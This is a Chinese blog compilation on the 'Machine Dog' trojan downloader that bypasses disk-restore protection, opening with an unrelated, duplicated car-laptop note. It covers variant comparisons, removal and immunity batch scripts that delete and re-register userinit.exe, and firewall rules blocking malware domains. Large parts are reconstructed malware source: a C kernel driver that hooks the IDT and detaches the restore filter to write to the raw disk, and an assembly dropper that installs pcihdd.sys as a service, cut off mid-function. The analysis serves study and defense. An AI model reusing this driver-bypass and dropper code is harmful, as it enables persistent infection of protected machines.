http://blog.chinaunix.net/u/29311/showart_243501.html
有意思的东东
虽然现在用不上,不过,可以尝试着把车载电源改造一下,用笔记本这么大的屏幕,作为GPS和音乐播放,常备工具一类的,总之,放在车里,会非常有用的。
有意思的东东
虽然现在用不上,不过,可以尝试着把车载电源改造一下,用笔记本这么大的屏幕,作为GPS和音乐播放,常备工具一类的,总之,放在车里,会非常有用的。
1:新版本"机器狗"病毒采用VC++ 6.0编写,老版本"机器狗"病毒采用汇编编写。
2:新版本"机器狗"病毒采用UPX加壳,老版本"机器狗"病毒采用未知壳。
3:新版本"机器狗"病毒驱动文件很小(1,536 字节),老版本"机器狗"病毒驱动文件很大(6,768 字节)。
4:新版本"机器狗"病毒安装驱动后没有执行卸载删除操作,老版本"机器狗"病毒安装驱动工作完毕后会卸载删除。
5:新版本"机器狗"病毒针对的是系统"conime.exe"、"ctfmon.exe"和"explorer.exe"程序文件,老版本"机器狗"病毒只针对系统"userinit.exe"文件。
6:新版本"机器狗"病毒没有对注册表进行操作,老版本"机器狗"病毒有对注册表"HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Windows
NT\CurrentVersion\Winlogon"项进行操作(感觉该操作没必要,因为重新启动系统后,"还原保护程序"系统会将其还原掉)。
7:新版本"机器狗"病毒去到系统dllcache文件夹下调用真实系统文件运行,老版本"机器狗"病毒没有到系统dllcache文件夹下调用真实系统文件运行。
8:新版本"机器狗"病毒采用的是控制台程序图标,老版本"机器狗"病毒采用的是黑色机器小狗图案的图标。
大概列举出来了上边的几点,经过仔细分析它们的工作原理和编码风格后,可以推测出新版本"机器狗"病毒和老版本"机器狗"病毒决定不是出自一个人之手。
------------------------------------------------------------------------
错误纠正:
在此要纠正两个技术性的问题,网络上流传的一些关于分析"机器狗"病毒(新、老版本)的部分文章中,有两处表达错误的地方。
第一处是:在那些分析文章中所提到"'机器狗'病毒会破坏'还原保护程序'系统,使其还原功能失效"。其实,从概念的理解上来讲述,那些表达都是错误的,是让人理解不清晰的,会严重误导读者。正确的表述应该是这样的:"'机器狗'病毒并没有破坏'还原保护程序'系统,也没有使其还原功能失效。只是安装了一个病毒自己的磁盘过滤驱动去操作真实的磁盘I/O端口,向真实的磁盘中执行修改覆盖"C:\windows\explorer.exe"目标文件(文件名是病毒作者定义的,不固定、会变。但肯定的是,真实磁盘中是存在该文件的。并且病毒运行后,一般只会修改覆盖一个真实磁盘中的系统文件,再不会去破坏其它真实磁盘中的文件)操作。虽然'机器狗'病毒运行后下载了很多其它恶意程序并安装运行,但重新启动计算机后,这些都会被'还原保护程序'系统还原掉的,只是唯一那个被修改覆盖的真实磁盘文件没有被还原。如果发现重新启动计算机后,系统中依然有一大堆病毒在运行。其实,这些都是系统重新启动后,由那个被修改覆盖后的系统程序全部重新下载回来并安装运行的恶意程序。也就是说,每次重新启动计算机,都要重新下载安装一次所有的其它恶意程序"。
第二处是:在那些分析文章中所提到"'机器狗'病毒会替换系统中的正常程序'conime.exe'、'ctfmon.exe'、'explorer.exe'
或'userinit.exe'"或"'机器狗'病毒会感染系统中的正常程序'conime.exe'、'ctfmon.exe'、
'explorer.exe'或'userinit.exe'"。其实,从概念的理解上来讲述,那些表达都是错误的,是让人理解不清晰的,会严重误导读者。正确的表述应该是这样的:"'机器狗'病毒并不是替换了系统中的那些正常文件,而是针对那些正常文件在硬盘中所存放的真实物理地址进行以覆盖的方式去写入相应的恶意数据。大家可以找来正常的系统文件'explorer.exe'、被病毒修改覆盖后的系统文件'explorer.exe'和病毒释放出来的恶意程序'tmp281.tmp'。对比它们内部数据代码后会发现,被病毒修改后的系统文件'explorer.exe'的前部分数据代码和"病毒释放出来的恶意程序'tmp281.tmp'文件的数据代码是完全相同的,而后边的数据代码依然是正常系统文件'explorer.exe'后边的数据代码。"。
简单的概念解释:
替换:把原目标程序的数据代码全部清除掉,用新程序的数据代码来代替以前的整个程序。这样,替换后的程序只有新程序的功能。
感染:在不破坏原目标程序数据代码的前提下,向原目标程序的数据代码中追加上新程序的数据代码。这样,感染后的程序既有原目标程序的功能,又有新程序的功能。
覆盖:从原目标程序数据代码的文件头0地址处开始,向后依次执行覆盖写入新程序的数据代码操作,我们这里只假设原目标程序文件远远大于新程序。这样,覆盖后的程序只执行新程序的功能,虽然原目标程序的数据代码还存在一部分,但由于没有被调用,所以不会执行。
------------------------------------------------------------------------
总结:
上边所指的"还原保护程序"为利用磁盘过滤驱动技术编写而成的系统还原保护程序,出名一点的软件有"冰点还原精灵"和"影子系统"等。也就是说,就算用户计算机安装了上边这样的"还原保护程序",只要是中了"机器狗"一类利用穿"还原保护程序"技术的病毒,就算您重新启动计算机了,但被修改的那个文件
"explorer.exe"也是依然不会被还原的,因为病毒的恶意代码已经覆盖进了这个真实的磁盘文件中。
目前的"机器狗"一类利用穿"还原保护程序"技术的病毒有一个致命的软肋,那就是他们所覆盖的真实系统文件在重新启动计算机后一定要自启动运行,不然就失去病毒存在的意义了。现今的"机器狗"病毒都只是能够穿透磁盘保护的,并穿透不了注册表(无法在注册表中保存添加或修改后的数据信息),这个就是它最大的缺陷。其实,注册表数据信息也是以文件的形式保存在磁盘中的,下一代"机器狗"病毒可能会实现穿透注册表的功能,等那个时候,可能就很难防范了。这还是不算什么的,下下一代的"机器狗"病毒可能会利用自己的磁盘过滤驱动去感染真实硬盘下的PE文件,相当的恐怖啊!!
一旦感染了该版本的"机器狗"病毒,它不仅仅可以穿透"还原保护程序",真实系统也一样会中毒。因为病毒修改覆盖了真实的系统文件"C:\windows
\explorer.exe"。所以每次重新启动计算机后,被修改覆盖的系统程序"C:\windows\explorer.exe"它都会在被感染计算机的后台连接网络下载骇客事先定义好的下载列表中的全部恶意程序并自动调用运行。那么如果中该病毒的用户比较多,几万台计算机同时启动,骇客的下载服务器会挂掉吗?呵呵~!!
------------------------------------------------------------------------
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
问提:1、这个最新的机器狗变种,是否与你12月19日发的病毒播报中的机器狗变种是同一个病毒?
回答:不是同一个病毒,只是工作原理十分的相似而已。经过仔细分析它们的工作原理和编码风格后,可以推测出新版本"机器狗"病毒和老版本"机器狗"病毒决定不是出自一个人之手。
问提:2、这个最新的机器狗变种是否功能更强大?强大在那儿?与以往机器狗病毒的不同之处在哪?
回答:应该是相对的强大了些。对比"机器狗"一类新、老版本病毒的部分特征如下:
(1):新版本"机器狗"病毒采用VC++ 6.0编写,老版本"机器狗"病毒采用汇编编写。
(2):新版本"机器狗"病毒采用UPX加壳,老版本"机器狗"病毒采用未知壳。
(3):新版本"机器狗"病毒驱动文件很小(1,536 字节),老版本"机器狗"病毒驱动文件很大(6,768 字节)。
(4):新版本"机器狗"病毒安装驱动后没有执行卸载删除操作,老版本"机器狗"病毒安装驱动工作完毕后会卸载删除。
(5):新版本"机器狗"病毒针对的是系统"conime.exe"、"ctfmon.exe"和"explorer.exe"程序文件,老版本"机器狗"病毒只针对系统"userinit.exe"文件。
(6):新版本"机器狗"病毒没有对注册表进行操作,老版本"机器狗"病毒有对注册表"HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Windows
NT\CurrentVersion\Winlogon"项进行操作(感觉该操作没必要,因为重新启动系统后,"还原保护程序"系统会将其还原掉)。
(7):新版本"机器狗"病毒去到系统dllcache文件夹下调用真实系统文件运行,老版本"机器狗"病毒没有到系统dllcache文件夹下调用真实系统文件运行。
(8):新版本"机器狗"病毒采用的是控制台程序图标,老版本"机器狗"病毒采用的是黑色机器小狗图案的图标。
问提:3、机器狗病毒对网吧的影响很大,对个人用户的影响有多少?
回答:个人用户的影响与网吧的影响是同样大的。因为不管计算机系统是否安装"还原保护系统"程序,都会同样下载非常多的(目前是下载27个恶意程序)网络游戏盗号木马等恶意程序进行安装运行,从而给被感染计算机用户带去一定的损失。如果"用户计算机硬件配置比较低"或者"存在所下载的多个恶意程序中出现相互不兼容现象"的话,会导致用户计算机系统崩溃掉无法启动运行。
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
手动杀毒方法:
1:结束掉被病毒修改覆盖后的"C:\windows\explorer.exe"程序进程,删除该程序文件。
2:也许系统会自动还原回来一个正常的"explorer.exe"桌面程序,如果没有还原的话,我们可以手动把"C:\windows\system32\dllcache\"下的"explorer.exe"文件拷贝到"C:\windows\"下。
3:手动卸载掉病毒恶意驱动程序"phy.sys"文件。可以在注册表中找到病毒恶意驱动程序"phy.sys"的启动关联位置然后删除,接着再删除掉"C:
\windows\system32\DRIVERS\phy.sys"文件。 我实际试过N次这种方法,针对该病毒决定好使。
4:重新启动计算机后,一切就都会变为正常了。但是该新版的"机器狗"病毒会下载27个(不固定)恶意程序到被感染计算机中安装运行,这些病毒可以安装江民公司的KV2008去查杀,效果很不错
/*
标 题: 【原创】"机器狗"病毒驱动部分逆向分析注释(C代码)
作 者: dream2fly(QQ:838468959)
时 间: 2008.03.13 于深圳科技园
链 接; http://www.dream2fly.net
版 本: 1.0
【软件名称】: 机器狗(病毒)
【下载地址】: http://www.dream2fly.net 或 自己搜索下载
【加壳方式】: 未知壳
【编写语言】: MASM
【使用工具】: IDA
【操作平台】: win2003
【软件介绍】: 穿透冰点型带驱动病毒
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
*/
#include <ntddk.h> // various NT definitions
#define IOCTL_MYDEV_BASE 0xF000
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01,
METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DR0_DEVICE_NAME "\\Device\\Harddisk0\\DR0"
#define NT_DEVICE_NAME "\\Device\\PhysicalHardDisk0"
#define DOS_DEVICE_NAME "\\DosDevices\\PhysicalHardDisk0"
PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID* g_ResData;
SIZE_T g_ResDataSize;
typedef struct _idtr
{
//定义中断描述符表的限制,长度两字节;
short IDTLimit;
//定义中断描述服表的基址,长度四字节;
unsigned int IDTBase;
}IDTR,*PIDTR;
typedef struct _idtentry
{
//中断执行代码偏移量的底16位;
unsigned short OffsetLow;
//选择器,也就是寄存器;
unsigned short Selector;
//保留位,始终为零;
unsigned char Reserved;
//IDT中的门的类型:包括中断门,陷阱门和任务门;
unsigned char Type:4;
//段标识位;
unsigned char SegmentFlag:1;
//中断门的权限等级,0表示内核级,3表示用户级;
unsigned char DPL:2;
//呈现标志位;
unsigned char Present:1;
//中断执行代码偏移量的高16位;
unsigned short OffsetHigh;
}IDTENTRY,*PIDTENTRY;
#define HOOKINTID_09 9 //NPX Segment Overrun
#define HOOKINTID_0E 0x0E //Page Fault
VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址
{
int INT_09_Address_High8;
int INT_0E_Address_High8;
unsigned long OldISR_09;
unsigned long OldISR_0E;
//保存IDT入口的基地址和限制信息的数据结构;
IDTR idtr;//store interrupt descript table register. to idtr
//记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
PIDTENTRY IdtEntry;
//汇编指令sidt,获取IDT入口信息;
__asm sidt idtr
//赋予IDT基地址值;
IdtEntry = (PIDTENTRY)idtr.IDTBase;
//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用
OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) |
(IdtEntry[HOOKINTID_09].OffsetLow);
INT_09_Address_High8 = OldISR_09&0x0FF000000;
/*
这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了???
有知道的大侠告诉我dream2fly(QQ:838468959)
sub eax, eax
jz short FunctionExit
难道是?
if (INT_09_Address_High8 == 0)
return;
*/
//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;
OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) |
(IdtEntry[HOOKINTID_0E].OffsetLow);
INT_0E_Address_High8 = OldISR_0E&0x0FF000000;
if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
{
//关中断
__asm cli
IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd?
//开中断
__asm sti
}
}
/*
通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
*/
VOID* SearchSelf()
{
VOID* pSelfImage = NULL;
VOID* pCurAddr = NULL;
VOID* pTmpAddr = NULL;
// loc_40045F:这个取当前地址用C怎么写?
//028 lea ebx, loc_40045F
//028 and ebx, 0FFFFFC00h
//pSelfImage如何取?
while(MmIsAddressValid(pSelfImage))
{
if ((unsigned long)pSelfImage <= 0x80000000)
return NULL;
if (RtlEqualMemory(pSelfImage, "MZ", 2))
{
pCurAddr = pSelfImage;
pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
(unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);
if (!MmIsAddressValid(pCurAddr))
return NULL;
if (RtlEqualMemory(pCurAddr, "PE", 2))
return pSelfImage;
}
(unsigned long)pSelfImage -= 0x400;//-1024K
}
return NULL;
}
SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int
id2, CHAR* pResDatas)
{
// 有空再补上:)
return 0;
}
//
// Device driver routine declarations.
//
NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
);
NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
);
VOID
Unload(
IN PDRIVER_OBJECT DriverObject
);
NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus;
CHAR* pResData = NULL;
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
UNICODE_STRING DeviceName;
VOID* pSelfImage;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;
CheckIdt();
pSelfImage = SearchSelf();
if (pSelfImage == NULL)
return -1;
g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
if (g_ResDataSize == 0)
{
return -1;
}
g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
// 跳转到下条指令,延时 jmp short $+2
RtlCopyMemory(g_ResData, pResData, g_ResDataSize);
DriverObject->DriverUnload = Unload;
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;
// 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
ntStatus = IoCreateDevice(
DriverObject, // Our Driver Object
0, // We don't use a device extension
&DeviceName,
FILE_DEVICE_NULL, // Device type
0, // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧?
FALSE, // Not an exclusive device
&DeviceObject ); // Returned ptr to Device Object
if ( !NT_SUCCESS( ntStatus ) )
{
goto End;
}
ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );
if ( !NT_SUCCESS( ntStatus ) )
{
cur_device_object = DriverObject->DeviceObject;
while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}
End:
RtlFreeUnicodeString(&DeviceName);
RtlFreeUnicodeString(&SymbolicLinkName);
return STATUS_SUCCESS;
}
VOID
Unload(
IN PDRIVER_OBJECT DriverObject
)
{
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;
if (g_ResData)
{
ExFreePool(g_ResData);
}
if (DriverObject)
{
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
IoDeleteSymbolicLink(&SymbolicLinkName);
RtlFreeUnicodeString(&SymbolicLinkName);
cur_device_object = DriverObject->DeviceObject;
while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}
}
NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object
PFILE_OBJECT DRO_FileObject;
ANSI_STRING SourceString;
UNICODE_STRING DRO_DeviceName;
PIO_STACK_LOCATION irpSp;// Pointer to current stack location
NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
ULONG inBufLength; // Input buffer length
ULONG outBufLength; // Output buffer length
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
irpSp = IoGetCurrentIrpStackLocation( Irp );
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
if(!inBufLength || !outBufLength)
{
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}
switch ( irpSp->MajorFunction )
{
case IRP_MJ_CREATE:
RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);
IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject,
&DRO_DeviceObject);
g_DR0_DeviceObject = DRO_FileObject->DeviceObject;
//保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加
if (DRO_FileObject->DeviceObject->AttachedDevice)
{
g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
DRO_FileObject->DeviceObject->AttachedDevice= NULL;
}
ObDereferenceObject(DRO_FileObject);
RtlFreeUnicodeString(&DRO_DeviceName);
break;
case IRP_MJ_CLOSE:
if (g_DR0_DeviceObject)
{
if (g_OldAttachedDeviceOfDR0)
{
g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
}
}
break;
case IRP_MJ_DEVICE_CONTROL:
if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
{
if (outBufLength < g_ResDataSize)
goto End;
// 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略
// 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
// 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??
RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);
Irp->IoStatus.Information = g_ResDataSize;
}
else
{
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
}
break;
default:
//
// The specified I/O control code is unrecognized by this driver.
//
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
break;
}
End:
//
// Finish the I/O operation by simply completing the packet and returning
// the same status as in the packet itself.
//
Irp->IoStatus.Status = ntStatus;
IoCompleteRequest( Irp, IO_NO_INCREMENT );
return ntStatus;
}
机器狗的生前身后,曾经有很多人说有穿透还原卡、冰点的病毒,但是在各个论坛都没有样本证据,直到2007年8月29日终于有人在社区里贴出了一个样本。这个病毒没有名字,图标是SONY的机器狗阿宝,就像前辈熊猫烧香一样,大家给它起了个名字叫机器狗。
工作原理
机器狗本身会释放出一个pcihdd.sys到drivers目录,pcihdd.sys是一个底层硬盘驱动,提高自己的优先级接替还原卡或冰点的硬盘驱动,然后访问指定的网址,这些网址只要连接就会自动下载大量的病毒与恶意插件。然后修改接管启动管理器,最可怕的是,会通过内部网络传播,一台中招,能引发整个网络的电脑全部自动重启。
重点是,一个病毒,如果以hook方式入侵系统,接替硬盘驱动的方式效率太低了,而且毁坏还原的方式这也不是最好的,还有就是这种技术应用范围非常小,只有还原技术厂商范围内有传播,在这方面国际上也只有中国在用,所以,很可能就是行业内杠。
对于网吧而言,机器狗就是剑指网吧而来,针对所有的还原产品设计,可预见其破坏力很快会超过熊猫烧香。好在现在很多免疫补丁都以出现,发稿之日起,各大杀毒软件都以能查杀。
免疫补丁之争
现在的免疫补丁之数是疫苗形式,以无害的样本复制到drivers下,欺骗病毒以为本身以运行,起到阻止危害的目的。这种形式的问题是,有些用户为了自身安全会在机器上运行一些查毒程序(比如QQ医生之类)。这样疫苗就会被误认为是病毒,又要废很多口舌。
解决之道
最新的解决方案是将system32/drivers目录单独分配给一个用户,而不赋予administror修改的权限。虽然这样能解决,但以后安装驱动就是一件头疼的事了。
来彻底清除该病毒,处理后重启一下电脑就可以了,之前要打上补丁!
或者这样:
1注册表,组策略中禁止运行userinit.exe 进程
2 在启动项目中加入批处理
A : 强制结束userinit.exe进程 Taskkill /f /IM userinit.exe
(其中"/IM"参数后面为进程的图像名,这命令只对XP用户有效)
B : 强制删除userinit.exe文件 DEL /F /A /Q %SystemRoot%\system32\userinit.exe
C : 创建userinit.exe免疫文件到%SystemRoot%\system32\
命令:md %SystemRoot%\system32\userinit.exe >nul 2>nul
或者 md %SystemRoot%\system32\userinit.exe
attrib +s +r +h +a %SystemRoot%\system32\userinit.exe
D : reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\userinit.exe" /v debugger /t reg_sz /d
debugfile.exe /f
userinit1.exe是正常文件改了名字,多加了一个1,你也可以自己修改,不过要手动修改这4个注册表,并导出,这个批处理才能正常使用。
最新动向
好像机器狗的开发以停止了,从样本放出到现在也没有新的版本被发现,这到让我们非常担心,因为虽着研究的深入,现在防御的手段都是针对病毒工作原理的,一但机器狗开始更新,稍加改变工作原理就能大面积逃脱普遍的防御手段,看来机器狗的爆发只是在等待,而不是大家可以高枕了。
目前网上流传一种叫做机器狗的病毒,此病毒采用hook系统的磁盘设备栈来达到穿透目的的,危害极大,可穿透目前技术条件下的任何软件硬件还原!基本无法靠还原抵挡。目前已知的所有还原产品,都无法防止这种病毒的穿透感染和传播。
机器狗是一个木马下载器,感染后会自动从网络上下载木马、病毒,危及用户帐号的安全。
机器狗运行后会释放一个名为PCIHDD.SYS的驱动文件,与原系统中还原软件驱动进行硬盘控制权的争夺,并通过替换userinit.exe文件,实现开机启动。
>> 那么如何识别是否已中毒呢?
是否中了机器狗的关键就在 Userinit.exe 文件,该文件在系统目录的 system32
文件夹中,点击右键查看属性,如果在属性窗口中看不到该文件的版本标签的话,说明已经中了机器狗。如果有版本标签则正常。
临时解决办法:
一是在路由上封IP:
ROS脚本,要的自己加上去
/ ip firewall filter
add chain=forward content=yu.8s7.net action=reject comment="DF6.0"
add chain=forward content=www.tomwg.com action=reject
二是在c:\windows\system32\drivers下建立免疫文件: pcihdd.sys ,
三是把他要修改的文件在做母盘的时候,就加壳并替换。
在%systemroot%\system32\drivers\目录下 建立个 明字 为 pcihdd.sys 的文件夹 设置属性为 任何人禁止
批处理
md %systemroot%\system32\drivers\pcihdd.sys
cacls %systemroot%\system32\drivers\pcihdd.sys /e /p everyone:n
cacls %systemroot%\system32\userinit.exe /e /p everyone:r
exit
目前,网络流行以下解决方法,或者可以在紧急情况下救急:
1、首先在系统system32下复制个无毒的userinit.exe,文件名为FUCKIGM.exe(文件名可以任意取),这就是下面批处理要指向执行的文件!也就是开机启动userinit.exe的替代品!而原来的userinit.exe保留!其实多复制份的目的只是为了多重保险!可能对防止以后变种起到一定的作用。
2、创建个文件名为userinit.bat的批处理(文件名也可任意取,但要和下面说到的注册表键值保持一致即可),内容如下:
start FUCKIGM.exe (呵呵,够简单吧?)
3、修改注册表键值,将userinit.exe改为userinit.bat。内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="C:\\WINDOWS\\system32\\userinit.bat,"
就这3步,让这条狗再也凶不起来!这是在windows
2003测试的,双击机器狗后,没什么反应,对比批处理也是正常,即这狗根本没改动它!开关机游戏均无异常!但唯一美中不足的是,采用经典模式开机的启动时会出现个一闪而过的黑框!
如果嫌麻烦,也不要紧。上面三条批处理网友已搞好了,直接复制下面的这个存为批处理执行就OK了。三步合二为一
@echo off
:::直接复制系统system32下的无毒userinit.exe为FUCKIGM.exe
cd /d %SystemRoot%\system32
copy /y userinit.exe FUCKIGM.exe >nul
:::创建userinit.bat
echo @echo off >>userinit.bat
echo start FUCKIGM.exe >>userinit.bat
:::注册表操作
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
/v Userinit / t REG_SZ /d "C:\WINDOWS\system32\userinit.bat," /f >nul
:::删掉自身(提倡环保)
del /f /q %0
当然,如果实在不行,下载程序killigm。然后直接解压运行里面的程序:机器狗免疫补丁.bat 执行就可以了.
网上流传的另一种新的变种的防止方法 :
开始菜单运行.输入CMD
cd ……到drivers
md pcihdd.sys
cd pcihdd.sys
md 1...\
可防止最新变种。请注意:此法只能是防止,对于杀机器狗还得靠最新的杀毒程序才行。
针对该病毒,反病毒专家建议广大用户及时升级杀毒软件病毒库,补齐系统漏洞,上网时确保打开"网页监控"、"邮件监控"功能;禁用系统的自动播放功能,防止病毒从U盘、MP3、移动硬盘等移动存储设备进入到计算机;登录网游账号、网络银行账户时采用软键盘输入账号及密码
代码如下:
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc
includelib advapi32.lib
includelib user32.lib
includelib kernel32.lib
.data
Text db '对不起,驱动程序的加载没有成功,程序将无法运行.',0
FileName db '\\.\PhysicalHardDisk0',0
a_Physicaldrive db '\\.\PhysicalDrive0',0
aFCJ db '分配内存不成功',0
OutputString db '操作成功', 0
Dst db 10Ch dup(0)
hModule dd 0
ERR1 db '寻址文件不成功',0
ERR2 db '不支持的磁盘分区',0
ERR3 db '第一个分区不是启动分区',0
ERR4 db '该文件是压缩文件,不能操作',0
ERR5 db '获取文件原始信息失败',0
ERR6 db '打开文件失败',0
ERR7 db '加载驱动失败',0
.code
Src db '%SystemRoot%\system32\drivers\pcihdd.sys',0
ServiceName db 'PciHdd',0
;**********************************************************************************************
;退出服务,并删除文件
;**********************************************************************************************
QuitService proc
LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL @FileName[100h]:byte
push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
or eax, eax
jz OpenSCManagerFail
mov hSCManager, eax
push 0F01FFh ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz OpenServiceFail
mov hSCObject, eax
lea eax, ServiceStatus
push eax ; lpServiceStatus
push 1 ; dwControl
push hSCObject ; hService
call ControlService
push hSCObject ; hService
call DeleteService
push hSCObject ; hSCObject
call CloseServiceHandle
OpenServiceFail: ; hSCObject
push hSCManager
call CloseServiceHandle
OpenSCManagerFail: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA
lea eax, @FileName
push eax ; lpFileName
call DeleteFileA
ret
QuitService endp
;**********************************************************************************************
;从资源中加载二进制内容写入文件,并将文件写入环境变量,然后启动服务,最后去掉环境变量,删除文件
;**********************************************************************************************
LoadServiceFromRes proc
LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL nNumberOfBytesToWrite
LOCAL lpBuffer
LOCAL hResInfo
LOCAL @FileName[110h]:byte
LOCAL hObject
LOCAL NumberOfBytesWritten
push 3E9h ; lpType
push 3E9h ; lpName
push hModule ; hModule
call FindResourceA
or eax, eax
jz failed
mov hResInfo, eax
push eax ; hResInfo
push hModule ; hModule
call SizeofResource
mov nNumberOfBytesToWrite, eax
push hResInfo ; hResInfo
push hModule ; hModule
call LoadResource
or eax, eax
jz failed
push eax ; hResData
call LockResource
or eax, eax
jz failed
mov lpBuffer, eax
failed:
or eax, eax
jnz CONTINUE
jmp Exit
CONTINUE: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA
push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, @FileName
push eax ; lpFileName
call CreateFileA
cmp eax, 0FFFFFFFFh
jnz short CREATEFILEOK
jmp Exit
CREATEFILEOK:
mov hObject, eax
push 0 ; lpOverlapped
lea eax, NumberOfBytesWritten
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hObject ; hFile
call WriteFile
push hObject ; hFile
call SetEndOfFile
push hObject ; hFile
call FlushFileBuffers
push hObject ; hObject
call CloseHandle
push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
or eax, eax
jz OpenSCManagerFailed
mov hSCManager, eax
push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
lea eax, @FileName
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
